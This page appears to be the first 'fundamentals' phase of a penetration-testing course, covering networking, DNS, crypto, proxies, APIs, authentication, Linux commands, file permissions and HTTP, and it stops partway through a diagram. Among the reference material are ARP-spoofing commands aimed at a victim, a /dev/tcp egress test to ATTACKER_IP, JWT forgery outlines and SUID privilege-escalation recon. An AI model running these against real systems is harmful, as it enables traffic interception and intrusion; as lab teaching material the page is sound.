The fundamentals that everything else builds on. Skip these at your own peril.
Networking, Linux, crypto, and how the web works. Everything else builds on this.
You might be tempted to skip this phase and jump straight to hacking boxes. Don't. Every experienced pentester will tell you the same thing: the people who struggle the most are the ones who skipped the fundamentals.
Here's the reality β you cannot hack a network you don't understand. When you run Nmap and see "port 445/tcp open microsoft-ds," you need to know that's SMB, that it's a file-sharing protocol, that it runs on Windows, and that it has a history of critical vulnerabilities. When you see a web app returning a 302 redirect with a Set-Cookie header, you need to understand HTTP well enough to know what's happening and where to look for weaknesses.
This phase covers four pillars that everything else in this learning path builds on:
What "networking fundamentals" actually means: It's the knowledge of how data moves between computers. When you type a URL into your browser, dozens of protocols kick into action β DNS resolves the domain to an IP, TCP establishes a connection, TLS encrypts the channel, HTTP carries your request. As a pentester, you'll exploit weaknesses at every one of these layers.
You'll learn about the OSI model β a 7-layer framework that describes how network communication works. You don't need to memorize every layer (nobody cares about the Presentation layer in practice), but you DO need to understand the layers that matter for pentesting: how IP routing works (Layer 3), how TCP connections are established (Layer 4), and how application protocols like HTTP and DNS function (Layer 7). When you understand these layers, tools like Nmap, Wireshark, and Burp Suite stop being magic and start making sense.
What "web technologies" means in practical terms: When you open a website, your browser sends an HTTP request to a server. That request includes a method (GET, POST), headers (cookies, user-agent, host), and sometimes a body (form data, JSON). The server processes it and sends back a response with a status code (200 OK, 404 Not Found, 500 Error), its own headers, and the page content.
Understanding this request/response cycle is critical because most pentesting starts with web applications. SQL injection, XSS, SSRF, IDOR β all of these web vulnerabilities exist in how the server processes your HTTP requests. If you don't understand HTTP, you can't exploit web apps. Period.
Why Linux matters: Three reasons. First, most servers on the internet run Linux β the targets you're hacking are probably Linux boxes. Second, Kali (your pentesting OS) IS Linux β you need to be comfortable navigating it. Third, nearly every pentesting tool is built for Linux β from Nmap to Burp Suite to Metasploit to custom Python scripts.
You don't need to be a Linux sysadmin, but you absolutely need to be comfortable with the command line: navigating directories, reading files, piping commands together, managing processes, and understanding file permissions. If you can't do grep -r "password" /var/www/ without thinking, you're not ready for pentesting.
Crypto is everywhere in security β passwords are hashed, connections are encrypted, tokens are signed. You'll encounter MD5 hashes to crack, TLS certificates to inspect, JWTs to forge, and Kerberos tickets to abuse. You don't need a math degree, but you need to understand the difference between encryption (reversible) and hashing (one-way), and how common algorithms work at a high level.
π― The goal of this phase: By the end of Phase 1, you should be able to read an Nmap scan and understand every line of output. You should be able to intercept an HTTP request in Burp Suite and know exactly what you're looking at. You should feel at home in a Linux terminal. These skills are the foundation that Phases 2β6 are built on. Take the time to learn them well.
Everything in pentesting travels over a network. You need to understand the basics before anything else makes sense.
Every network communication happens in layers. When you send a web request, it travels through seven layers β from your application (Layer 7) down to electrical signals on a wire (Layer 1). As a pentester, you'll mostly work with:
Here's the full OSI model mapped to protocols, pentest tools, and common attacks at each layer. Bookmark this β you'll reference it constantly:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β THE OSI MODEL β PENTESTER'S VIEW β
βββββββββ¬ββββββββββββββββ¬βββββββββββββββββββ¬ββββββββββββββββββββ¬βββββββββββββββββββββββ€
β LAYER β NAME β PROTOCOLS β PENTEST TOOLS β EXAMPLE ATTACKS β
βββββββββΌββββββββββββββββΌβββββββββββββββββββΌββββββββββββββββββββΌβββββββββββββββββββββββ€
β 7 β Application β HTTP, HTTPS, β Burp Suite, β SQLi, XSS, SSRF, β
β β β DNS, FTP, SSH, β ffuf, Nikto, β Command Injection, β
β β β SMTP, SNMP β sqlmap, Gobuster β Directory Traversal β
βββββββββΌββββββββββββββββΌβββββββββββββββββββΌββββββββββββββββββββΌβββββββββββββββββββββββ€
β 6 β Presentation β SSL/TLS, β testssl.sh, β SSL stripping, β
β β β MIME, ASCII, β sslyze, β Downgrade attacks, β
β β β JPEG, encryption β openssl s_client β POODLE, BEAST β
βββββββββΌββββββββββββββββΌβββββββββββββββββββΌββββββββββββββββββββΌβββββββββββββββββββββββ€
β 5 β Session β NetBIOS, RPC, β rpcclient, enum4 β Session hijacking, β
β β β SMB sessions, β linux, smbclient, β Pass-the-hash, β
β β β SOCKS β proxychains β Token replay β
βββββββββΌββββββββββββββββΌβββββββββββββββββββΌββββββββββββββββββββΌβββββββββββββββββββββββ€
β 4 β Transport β TCP, UDP β Nmap (-sS/-sU), β SYN flood (DoS), β
β β β β hping3, masscan β Port scanning, β
β β β β β UDP amplification β
βββββββββΌββββββββββββββββΌβββββββββββββββββββΌββββββββββββββββββββΌβββββββββββββββββββββββ€
β 3 β Network β IP, ICMP, β Nmap (-sn), ping, β IP spoofing, β
β β β IGMP, IPsec β traceroute, β Route manipulation, β
β β β β Scapy β ICMP tunneling β
βββββββββΌββββββββββββββββΌβββββββββββββββββββΌββββββββββββββββββββΌβββββββββββββββββββββββ€
β 2 β Data Link β Ethernet, ARP, β arpspoof, β ARP poisoning, β
β β β 802.11 (Wi-Fi), β bettercap, β MAC flooding, β
β β β PPP, VLAN β macchanger,aircrackβ VLAN hopping β
βββββββββΌββββββββββββββββΌβββββββββββββββββββΌββββββββββββββββββββΌβββββββββββββββββββββββ€
β 1 β Physical β Ethernet cables, β Wi-Fi adapters, β Evil twin AP, β
β β β Wi-Fi radio, β HackRF, Flipper β Cable tapping, β
β β β Fiber, USB β Zero, USB Rubber β Rogue devices, β
β β β β Ducky, LAN Turtle β Keystroke injection β
βββββββββ΄ββββββββββββββββ΄βββββββββββββββββββ΄ββββββββββββββββββββ΄βββββββββββββββββββββββ
Data flows DOWN the stack when sending (encapsulation):
Application Data β [TCP Header + Data] β [IP Header + TCP + Data] β [Frame + IP + TCP + Data]
Data flows UP the stack when receiving (decapsulation):
[Frame] β [IP Packet] β [TCP Segment] β [Application Data]
π‘ Pro tip: In practice, most pentesting happens at Layers 7, 4, and 3. But don't ignore Layer 2 β if you get on the same LAN (internal pentest, compromised host), ARP spoofing and VLAN attacks are devastating. And Layer 1 matters for physical pentests β dropping a rogue device on a network is a real attack vector.
TCP (Transmission Control Protocol) is connection-oriented. Before sending data, two machines perform a "three-way handshake": SYN β SYN-ACK β ACK. This is reliable but slower. Most services (HTTP, SSH, FTP) use TCP.
UDP (User Datagram Protocol) is connectionless β it just sends packets without confirming receipt. Faster but unreliable. DNS queries, SNMP, TFTP, and streaming protocols use UDP.
Why this matters: Nmap's default SYN scan exploits the TCP handshake β it sends SYN, waits for SYN-ACK (port open) or RST (port closed), then never completes the handshake. This is why it's called a "stealth" scan.
# TCP three-way handshake
Client β SYN β Server (Hey, can we talk?)
Client β SYN-ACK β Server (Sure, let's talk.)
Client β ACK β Server (Great, we're connected.)
# Nmap SYN scan (half-open)
Client β SYN β Server (Hey, can we talk?)
Client β SYN-ACK β Server (Sure!)
Client β RST β Server (Never mind. *walks away*)
TCP packets carry flags that control the connection state. Understanding these is essential for reading packet captures and understanding firewall rules:
# Nmap uses flag combinations for different scan types:
nmap -sS target # SYN scan (default, sends SYN, reads response)
nmap -sA target # ACK scan (firewall detection β filtered vs unfiltered)
nmap -sF target # FIN scan (stealthy β some firewalls only look for SYN)
nmap -sX target # Xmas scan (FIN+PSH+URG β lights up like a Christmas tree)
nmap -sN target # NULL scan (no flags set β stealthy against some stacks)
ARP (Address Resolution Protocol) maps IP addresses to MAC addresses on a local network. When your machine wants to talk to 10.10.10.5, it broadcasts "Who has 10.10.10.5?" and the target replies with its MAC address.
Why pentesters care: ARP has no authentication. Anyone on the network can say "I'm 10.10.10.5" β this is ARP spoofing/poisoning, the foundation of man-in-the-middle attacks on local networks.
# View your ARP cache
arp -a
# ARP spoofing with arpspoof (dsniff package)
# Tell the victim that YOU are the gateway:
sudo arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP
# Tell the gateway that YOU are the victim:
sudo arpspoof -i eth0 -t GATEWAY_IP VICTIM_IP
# Now all traffic flows through you β inspect with Wireshark
# Better tool: bettercap
sudo bettercap -iface eth0
> net.probe on
> set arp.spoof.targets VICTIM_IP
> arp.spoof on
> net.sniff on
ICMP (Internet Control Message Protocol) is used for network diagnostics. The most common uses:
# Ping sweep β which hosts are alive?
nmap -sn 10.10.10.0/24
# Traceroute β map the path to target
traceroute 10.10.10.5
# Some boxes block ICMP β no ping response doesn't mean it's down!
nmap -Pn target # Skip host discovery, scan anyway
-sS) sends only a SYN packet. If the port is open, the target responds with SYN-ACK. Nmap then sends RST to close without completing the handshake β that's why it's called "half-open" or "stealth" scan. FIN+PSH+URG is the Xmas scan (-sX), a different technique.NAT (Network Address Translation) lets multiple devices share one public IP. Your home router does this β all devices appear as one IP externally. In pentesting labs, understanding NAT helps you troubleshoot VPN connectivity and understand why reverse shells need your tun0 IP, not your LAN IP.
Firewalls filter traffic based on rules. Common behaviors you'll encounter:
# Testing egress filtering from a compromised box:
# Can the target reach you?
# On your machine:
nc -lvnp 80 # Listen on port 80
# On the target:
bash -c 'echo test > /dev/tcp/ATTACKER_IP/80' # Try common ports: 80, 443, 53
# If only 80/443 works outbound, use:
# - Reverse shell over port 443
# - HTTP tunneling (chisel, ligolo-ng)
# - DNS tunneling (iodine, dnscat2)
Every device on a network has an IP address. In pentesting, you'll deal with:
HTB machines typically live on 10.10.10.0/24 or 10.129.0.0/16. Your VPN tunnel gets an address on 10.10.14.0/23 or similar.
You'll encounter CIDR notation constantly in pentesting. Here's a quick reference so you never have to calculate subnet sizes on the fly:
ββββββββββββββ¬βββββββββββββββββββββββββββββββ¬βββββββββββββββββ¬βββββββββββββββ
β CIDR β Subnet Mask β Total Addrs β Usable Hosts β
ββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββΌβββββββββββββββ€
β /32 β 255.255.255.255 β 1 β 1 (single) β
β /31 β 255.255.255.254 β 2 β 2 (P2P link) β
β /30 β 255.255.255.252 β 4 β 2 β
β /29 β 255.255.255.248 β 8 β 6 β
β /28 β 255.255.255.240 β 16 β 14 β
β /27 β 255.255.255.224 β 32 β 30 β
β /26 β 255.255.255.192 β 64 β 62 β
β /25 β 255.255.255.128 β 128 β 126 β
β /24 β 255.255.255.0 β 256 β 254 β MOST COMMON β
β /23 β 255.255.254.0 β 512 β 510 β
β /22 β 255.255.252.0 β 1,024 β 1,022 β
β /21 β 255.255.248.0 β 2,048 β 2,046 β
β /20 β 255.255.240.0 β 4,096 β 4,094 β
β /16 β 255.255.0.0 β 65,536 β 65,534 β
β /8 β 255.0.0.0 β 16,777,216 β 16,777,214 β
ββββββββββββββ΄βββββββββββββββββββββββββββββββ΄βββββββββββββββββ΄βββββββββββββββ
Quick math: Total addresses = 2^(32 - CIDR)
/24 = 2^8 = 256
/16 = 2^16 = 65,536
/8 = 2^24 = 16,777,216
π‘ Pro tip: In CTF/HTB contexts, /24 is the most common. But in real engagements, companies often use /16 or /8 internal networks. Scanning a /16 takes 256Γ longer than a /24 β plan your scans accordingly and use tools like masscan for speed on large ranges.
When you see an Nmap scan, you need to instantly know what service runs on each port and what attack vectors it opens up. Here's your comprehensive reference:
COPY TO/FROM PROGRAM β instant RCE if you get access.xp_cmdshell gives direct OS command execution. Common in Active Directory environments.evil-winrm.π― Remember: Nmap gives you port numbers. Your brain turns them into attack vectors. Memorize the top 20 ports and you'll read scan results like a native language. Use our Common Ports Cheat Sheet until they're second nature.
DNS (Domain Name System) translates human-readable names (google.com) to IP addresses (142.250.80.14). In pentesting, DNS matters a lot because:
/etc/hosts file overrides DNS β essential for HTB machines# Common DNS enumeration commands
dig target.htb ANY @10.10.10.5 # Query all record types
dig axfr target.htb @10.10.10.5 # Attempt zone transfer
nslookup -type=any target.htb 10.10.10.5
host -l target.htb 10.10.10.5 # Another zone transfer attempt
# Add to /etc/hosts for HTB
echo "10.10.10.5 target.htb" | sudo tee -a /etc/hosts
DNS isn't just A records. Each record type serves a different purpose, and pentesters can extract valuable intel from all of them:
www.example.com β example.com. Dangling CNAMEs (pointing to decommissioned services) enable subdomain takeover attacks._ldap._tcp.domain.com reveals AD domain controllers. _sip._tcp reveals VoIP servers. Gold for service discovery.# Enumerate ALL record types for a domain
dig target.htb ANY @10.10.10.5
# Query specific record types
dig target.htb A # IPv4 addresses
dig target.htb AAAA # IPv6 addresses
dig target.htb MX # Mail servers
dig target.htb TXT # SPF, DKIM, verification tokens
dig target.htb NS # Name servers
dig target.htb SRV _ldap._tcp.target.htb # Service discovery (AD DCs)
# Reverse DNS lookup
dig -x 10.10.10.5 # What hostname is at this IP?
nmap -sL 10.10.10.0/24 # Reverse DNS for an entire subnet
# Brute-force subdomains via DNS
gobuster dns -d target.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
dnsenum target.htb # Automated DNS enumeration
fierce --domain target.htb # DNS reconnaissance tool
π‘ Pro tip: TXT records are a goldmine. Companies use them for domain verification (Google, Microsoft 365, AWS), SPF email policies, and DKIM keys. Sometimes you'll find internal hostnames, IP ranges, or even configuration details accidentally published as TXT records. dig target.htb TXT should be one of your first recon commands.
You don't need to be a mathematician, but you absolutely need to understand the building blocks. Crypto shows up everywhere β passwords, HTTPS, tokens, file encryption, AD Kerberos tickets.
# Generating SSH keys (asymmetric β Ed25519)
ssh-keygen -t ed25519 -C "pentester@kali"
# Creates: ~/.ssh/id_ed25519 (private) and ~/.ssh/id_ed25519.pub (public)
# Encrypting a file with symmetric AES
openssl enc -aes-256-cbc -salt -in secret.txt -out secret.enc
# Decrypting
openssl enc -d -aes-256-cbc -in secret.enc -out secret.txt
# RSA key operations (you'll see these in CTFs)
openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem
A hash function takes input of any length and produces a fixed-length output. It's a one-way function β you can't reverse it to get the original input. Common uses: password storage, file integrity, digital signatures.
# Identify hash types
hash-identifier # Interactive tool
hashid 'e99a18c428cb38d5f260853678922e03' # Command line
# Common hash formats you'll encounter:
# MD5: e99a18c428cb38d5f260853678922e03 (32 hex chars)
# SHA-1: a94a8fe5ccb19ba61c4c0873d391e987982fbbd3 (40 hex chars)
# SHA-256: 9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
# NTLM: a4f49c406510bdcab6824ee7c30fd852 (32 hex chars, no salt)
# bcrypt: $2b$12$LJ3m4ys3Lg2VBe5E5dUGN.S7GkW9bDKjPvCmYkE/8kN9JxKm6QfKy
# Cracking with hashcat (see our guide!)
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt # MD5
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt # NTLM
Every time your browser connects to an HTTPS site, a TLS handshake happens. Understanding this helps you with certificate-based attacks, MITM, and understanding Burp Suite's proxy:
π‘ Why Burp works: Burp Suite acts as a MITM proxy. It presents its own certificate to your browser (which you've trusted by installing Burp's CA cert) and makes a separate TLS connection to the server. It decrypts, inspects, and re-encrypts traffic in the middle. This is exactly what a real attacker does β but they need to trick the victim into trusting their certificate.
When your browser says a site is "secure," it's not magic β there's a chain of trust built on PKI. Understanding this helps you recognize certificate attacks, forge certs in testing, and understand why Burp needs a custom CA installed.
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β CERTIFICATE CHAIN OF TRUST β
β β
β Root CA (DigiCert, Let's Encrypt, etc.) β
β βββ Stored in your OS/browser trust store β
β βββ Self-signed β trusts itself β
β β β
β ββββΊ Intermediate CA β
β βββ Signed by Root CA β
β βββ Issues certificates to websites β
β β β
β ββββΊ Server Certificate (e.g., google.com) β
β βββ Signed by Intermediate CA β
β βββ Contains: domain name, public key, expiry date β
β βββ Your browser verifies this chain back to Root CA β
β β
β If ANY link in the chain is untrusted β browser shows warning β οΈ β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Key concepts for pentesters:
crt.sh to discover subdomains β if a cert was issued for staging.target.com, it'll show up in CT logs even if the subdomain isn't in DNS.# Check a site's certificate chain
openssl s_client -connect example.com:443 -showcerts
# View certificate details
echo | openssl s_client -connect example.com:443 2>/dev/null | openssl x509 -text -noout
# Search Certificate Transparency logs for subdomains
curl -s "https://crt.sh/?q=%25.example.com&output=json" | jq '.[].name_value' | sort -u
Proxies sit between a client and server, intercepting or forwarding traffic. They come up everywhere in pentesting β from Burp Suite to pivoting through compromised hosts.
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β PROXY TYPES β
β β
β FORWARD PROXY (client-side) β
β ββββββββββ βββββββββ ββββββββββ β
β β Client ββββββΊβ Proxy ββββββΊβ Server β β
β ββββββββββ βββββββββ ββββββββββ β
β Client knows about the proxy and sends traffic through it. β
β Examples: Burp Suite, corporate web filters, Squid β
β Pentesting: Intercept and modify requests before they hit target β
β β
β REVERSE PROXY (server-side) β
β ββββββββββ βββββββββ ββββββββββ β
β β Client ββββββΊβ Proxy ββββββΊβ Server β β
β ββββββββββ βββββββββ ββββββββββ β
β Client doesn't know β it thinks the proxy IS the server. β
β Examples: Cloudflare, nginx, HAProxy, AWS ALB β
β Pentesting: Try to bypass the proxy to reach origin directly β
β β
β SOCKS PROXY (general-purpose tunnel) β
β ββββββββββ βββββββββ ββββββββββββ β
β β Client ββββββΊβ SOCKS ββββββΊβ Any Port β β
β ββββββββββ βββββββββ ββββββββββββ β
β Works at Layer 5 β routes any TCP (and some UDP) traffic. β
β Not limited to HTTP like forward proxies. β
β Examples: SSH -D (dynamic port forward), Tor, proxychains β
β Pentesting: Pivot through compromised host to reach internal nets β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# Create a SOCKS proxy through SSH (common pivoting technique)
ssh -D 9050 user@compromised-host
# Route tools through the SOCKS proxy
proxychains nmap -sT 10.10.10.0/24
# Burp Suite is a forward proxy β your browser sends traffic through it
# Default: 127.0.0.1:8080
π― Why this matters: In real engagements, you'll chain proxies constantly. Compromise an external server β SSH tunnel through it β SOCKS proxy to scan internal networks β find the domain controller. Every hop uses a different proxy type. Phase 5 (Pivoting) covers this in depth.
Modern web apps are built on APIs. The frontend you see in the browser is often just a pretty wrapper around API calls that do the actual work. As a pentester, you attack the API, not the UI.
GET /api/users/123 retrieves user 123's data.{"id": 123, "name": "admin", "role": "superuser"}/graphql), clients specify exactly what data they want via queries. Powerful but frequently misconfigured β introspection queries can leak the entire schema.# Test a REST API endpoint
curl -s https://api.target.com/users/1 | jq .
# Common API pentesting checks
GET /api/users/1 β Does it return data? (IDOR: try /api/users/2)
POST /api/login β Brute force? Rate limited?
GET /api/admin β 403 or 401? Try header bypasses
GET /api/v1/debug β Old API versions often have debug endpoints
# GraphQL introspection (if enabled β often is)
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{__schema{types{name,fields{name}}}}"}'
π‘ API testing tip: When you find an API, always check for: IDOR (change IDs in URLs), missing authentication (remove auth headers), mass assignment (add extra fields in POST/PUT requests), and verbose error messages (they leak internals). Our API Security Testing guide covers this in detail.
Authentication is verifying identity β "prove you are who you claim to be." Almost every attack eventually targets authentication in some way.
Still the most common. Vulnerabilities everywhere:
After login, the server gives you a token (JWT, session cookie, API key) that proves you're authenticated:
# JWT structure (three base64 sections separated by dots):
# Header.Payload.Signature
# Decode a JWT
echo "eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.xxx" | cut -d. -f2 | base64 -d
# Output: {"user":"admin"}
# JWT attacks:
# 1. Change "alg" to "none" β remove signature β bypass verification
# 2. Brute-force the HMAC secret: hashcat -m 16500 jwt.txt wordlist.txt
# 3. Confuse RS256 (asymmetric) with HS256 (symmetric) β sign with public key
Instead of passwords, use X.509 certificates (common in enterprise environments, VPNs, and mutual TLS):
Combines something you know (password) + something you have (phone/token) + something you are (biometrics). Attacks against MFA:
Every pentesting tool runs on Linux. If you're not comfortable in a terminal, start here.
# Navigation
pwd # Where am I?
ls -la # List everything (including hidden)
cd /path/to/dir # Change directory
find / -name "*.txt" # Search for files
locate filename # Fast search (uses database, run updatedb first)
# File operations
cat file.txt # Read a file
grep -r "password" . # Search inside files recursively
grep -i "pass\|cred\|secret" config.php # Search for multiple patterns
head -n 20 file.txt # First 20 lines
tail -f log.txt # Watch a log file live
wc -l file.txt # Count lines
diff file1 file2 # Compare files
strings binary # Extract readable strings from binary files
file unknown # Identify file type
# Networking
ip addr show # Your network interfaces
curl -s http://target # Make HTTP requests
curl -v http://target # Verbose β see headers and handshake
wget http://target/file # Download files
netstat -tlnp # What's listening?
ss -tlnp # Same thing, newer command
# Process management
ps aux # All running processes
kill -9 PID # Force kill a process
bg / fg # Background/foreground jobs
# Permissions
chmod 600 file # Owner read/write only
chmod +x script.sh # Make executable
chown user:group file # Change ownership
sudo command # Run as root
Linux file permissions are a core concept for privilege escalation. If you can find a misconfigured permission, you can often go from low-privilege user to root. Here's how it all works:
βββββ File Type (- = file, d = dir, l = link)
β
β βββββ Owner Permissions
β β
β β βββββ Group Permissions
β β β
β β β βββββ Others (Everyone Else)
β β β β
- rwx rwx rwx
βββ βββ βββ
ββββ execute (1) β Run the file / enter the directory
ββββ write (2) β Modify the file / create files in directory
ββββ read (4) β Read the file / list directory contents
Numeric: Add the values β rwx = 4+2+1 = 7
rw- = 4+2+0 = 6
r-x = 4+0+1 = 5
r-- = 4+0+0 = 4
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β COMMON PERMISSIONS β
βββββββββββ¬βββββββββββββ¬βββββββββββββββββββββββββββββββββββββββββββ€
β 755 β rwxr-xr-x β Owner: full, Others: read+execute β
β β β Standard for directories & scripts β
βββββββββββΌβββββββββββββΌβββββββββββββββββββββββββββββββββββββββββββ€
β 644 β rw-r--r-- β Owner: read+write, Others: read only β
β β β Standard for regular files β
βββββββββββΌβββββββββββββΌβββββββββββββββββββββββββββββββββββββββββββ€
β 600 β rw------- β Owner only. SSH keys, sensitive configs β
βββββββββββΌβββββββββββββΌβββββββββββββββββββββββββββββββββββββββββββ€
β 777 β rwxrwxrwx β EVERYONE can do EVERYTHING. Red flag! β
βββββββββββΌβββββββββββββΌβββββββββββββββββββββββββββββββββββββββββββ€
β 4755 β rwsr-xr-x β SUID set β runs as file owner (often β
β β β root). Privilege escalation goldmine! β
βββββββββββΌβββββββββββββΌβββββββββββββββββββββββββββββββββββββββββββ€
β 2755 β rwxr-sr-x β SGID set β runs with group privileges β
βββββββββββ΄βββββββββββββ΄βββββββββββββββββββββββββββββββββββββββββββ
SPECIAL BITS β The Privilege Escalation Holy Trinity:
βββββββββββββββββββββββββββββββββββββββββββββββββββββ
SUID (4xxx) β File executes as the FILE OWNER (not the user running it)
β If owned by root β runs as root. /usr/bin/passwd is SUID.
β Find them: find / -perm -4000 -type f 2>/dev/null
βββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββ
SGID (2xxx) β File executes with the FILE GROUP's privileges
β On directories: new files inherit the directory's group
β Find them: find / -perm -2000 -type f 2>/dev/null
βββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Sticky (1xxx) β On directories: only file owners can delete their files
β /tmp uses sticky bit β prevents users deleting each other's files
β Shown as 't' in the others execute position: drwxrwxrwt
# Find SUID binaries (privilege escalation recon β run this FIRST on any box)
find / -perm -4000 -type f 2>/dev/null
# Find world-writable files (anyone can modify)
find / -perm -o+w -type f 2>/dev/null
# Find world-writable directories
find / -perm -o+w -type d 2>/dev/null
# Find files with no owner (orphaned β possible exploit path)
find / -nouser -o -nogroup 2>/dev/null
# Check a specific file's permissions
ls -la /etc/shadow # Should be 640 (root:shadow)
ls -la /etc/passwd # Should be 644 (world-readable, that's normal)
# GTFOBins β check if a SUID binary can be exploited
# https://gtfobins.github.io/ β Bookmark this immediately
π― Privesc workflow: On every Linux box you compromise, runfind / -perm -4000 -type f 2>/dev/nullimmediately. Then cross-reference every result with GTFOBins. If you find/usr/bin/python3or/usr/bin/vimwith SUID set, you're root in seconds. This is the most common Linux privilege escalation vector in CTFs.
The real power of Linux is chaining commands together:
# Pipe (|) sends one command's output to another
cat /etc/passwd | grep "bash" # Find users with bash shell
nmap target | grep "open" # Only show open ports
# Redirect (>) writes output to a file
nmap target > scan.txt # Save scan results
nmap target >> scan.txt # Append (don't overwrite)
nmap target 2>/dev/null # Discard errors
# Combine
cat wordlist.txt | sort -u | wc -l # Count unique words
cat access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head # Top IPs
# Process substitution
diff <(cat file1 | sort) <(cat file2 | sort) # Compare sorted contents
# xargs β turn output into arguments
cat urls.txt | xargs -I{} curl -s {} # Fetch every URL
find . -name "*.bak" | xargs rm # Delete all .bak files
These tools are essential for parsing tool output in pentesting:
# cut β extract columns
cat /etc/passwd | cut -d: -f1 # Extract usernames
echo "10.10.10.5:8080" | cut -d: -f2 # Extract port
# awk β powerful field processing
cat nmap_output | awk '/open/ {print $1}' # Extract open port lines
awk -F: '$3 >= 1000 {print $1}' /etc/passwd # Users with UID >= 1000
# sed β stream editing
sed 's/old/new/g' file.txt # Replace all occurrences
cat file | sed -n '10,20p' # Print lines 10-20
echo "http://target.htb/page" | sed 's|http://||;s|/.*||' # Extract hostname
# tr β translate characters
echo "HELLO" | tr 'A-Z' 'a-z' # Lowercase
cat file | tr -d '\r' # Remove Windows line endings
Linux file permissions control who can read, write, and execute files. Misconfigurations are one of the most common privilege escalation vectors:
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β LINUX FILE PERMISSIONS β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β
β -rwxr-xr-- 1 root www-data 4096 Feb 8 app.py β
β ββββ€βββ€βββ€ β
β ββ β β β
β ββ β βββ Others: r-- (4) = read only β
β ββ ββββββ Group: r-x (5) = read + execute β
β ββββββββββ Owner: rwx (7) = read + write + execute β
β ββββββββββ Type: - = file, d = directory, l = symlink β
β β
β NUMERIC: r=4, w=2, x=1 β add them up β
β chmod 755 = rwxr-xr-x (owner full, others read+exec) β
β chmod 644 = rw-r--r-- (owner read+write, others read) β
β chmod 777 = rwxrwxrwx (everyone full access β DANGEROUS) β
β chmod 600 = rw------- (owner only β good for SSH keys) β
β β
β SPECIAL BITS: β
β SUID (4000) β File executes as the FILE OWNER, not the runner β
β SGID (2000) β File executes with the GROUP's permissions β
β Sticky (1000) β Only file owner can delete (used on /tmp) β
β β
β chmod 4755 = -rwsr-xr-x (SUID set β runs as owner) β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
What pentesters look for:
find / -perm -4000 -user root 2>/dev/null β if you can exploit one, you get root executionfind / -writable -type f 2>/dev/null β can you modify a script that root runs?find / -name "*.conf" -readable 2>/dev/null | xargs grep -l "pass".ssh/id_rsa should be 600 β too-open permissions = SSH refuses to use them, but finding them means you've got a key to try/etc/crontab, /var/spool/cron/, /etc/cron.d/ β if root runs a writable script, you winCTFs and web exploits constantly use encoding to bypass filters or hide data. Know how to spot and decode these:
ββββββββββββββββ¬βββββββββββββββββββββββββββββββ¬βββββββββββββββββββββββββββββββββ
β ENCODING β EXAMPLE β HOW TO DECODE β
ββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββββ€
β Base64 β YWRtaW46cGFzc3dvcmQ= β echo "..." | base64 -d β
β β (= padding at end is a clue) β β admin:password β
ββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββββ€
β URL Encoding β %41%64%6d%69%6e β python3 -c "import urllib. β
β β admin%40target.htb β parse; print(urllib.parse. β
β β (%40 = @, %20 = space) β unquote('%41%64%6d%69%6e'))" β
ββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββββ€
β HTML Entitiesβ <script>alert(1) β Browser renders automatically β
β β & " ' β < = < > = > & = & β
ββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββββ€
β Hex β 0x41 0x64 0x6d 0x69 0x6e β echo "41646d696e" | xxd -r -p β
β β \x41\x64\x6d\x69\x6e β β Admin β
ββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββββ€
β Binary β 01000001 01100100 β Rare in practice, common in β
β β β beginner CTF challenges β
ββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββββ€
β ROT13 β nqzva β echo "nqzva" | tr 'a-zA-Z' β
β β β 'n-za-mN-ZA-M' β admin β
ββββββββββββββββ΄βββββββββββββββββββββββββββββββ΄βββββββββββββββββββββββββββββββββ
# Quick decode commands:
echo "YWRtaW46cGFzc3dvcmQ=" | base64 -d # Base64
python3 -c "import urllib.parse; print(urllib.parse.unquote('%41'))" # URL
echo "68656c6c6f" | xxd -r -p # Hex
echo "nqzva" | tr 'a-zA-Z' 'n-za-mN-ZA-M' # ROT13
# CyberChef (in your browser) handles ALL of these and more:
# https://gchq.github.io/CyberChef/
# Drag operations into the "Recipe" and it auto-decodes
π‘ Pro tip: When you see suspicious strings in CTFs, try Base64 first (look for=padding or all alphanumeric +/+), then hex (all 0-9 a-f, even length), then ROT13. CyberChef's "Magic" operation auto-detects encoding β drag the string in and click Magic.
Most pentesting starts with a web application. Understanding HTTP is non-negotiable.
When you type a URL into your browser and hit Enter, a surprising amount happens behind the scenes. Here's the complete sequence β and every step is a potential attack surface:
βββββββββββ ββββββββββββ
β BROWSER β β SERVER β
ββββββ¬βββββ βββββββ¬βββββ
β β
β 1. DNS RESOLUTION β
β "What IP is target.htb?" β
ββββββββββββββββββββββββββββββββββββββββΊ DNS Server β
βββββββββββββββββββββββββββββββββββββββ "10.10.10.42" β
β β Attack: DNS spoofing, cache poisoning β
β β
β 2. TCP THREE-WAY HANDSHAKE β
βββββ SYN ββββββββββββββββββββββββββββββββββββββββββββββββββββββΊβ
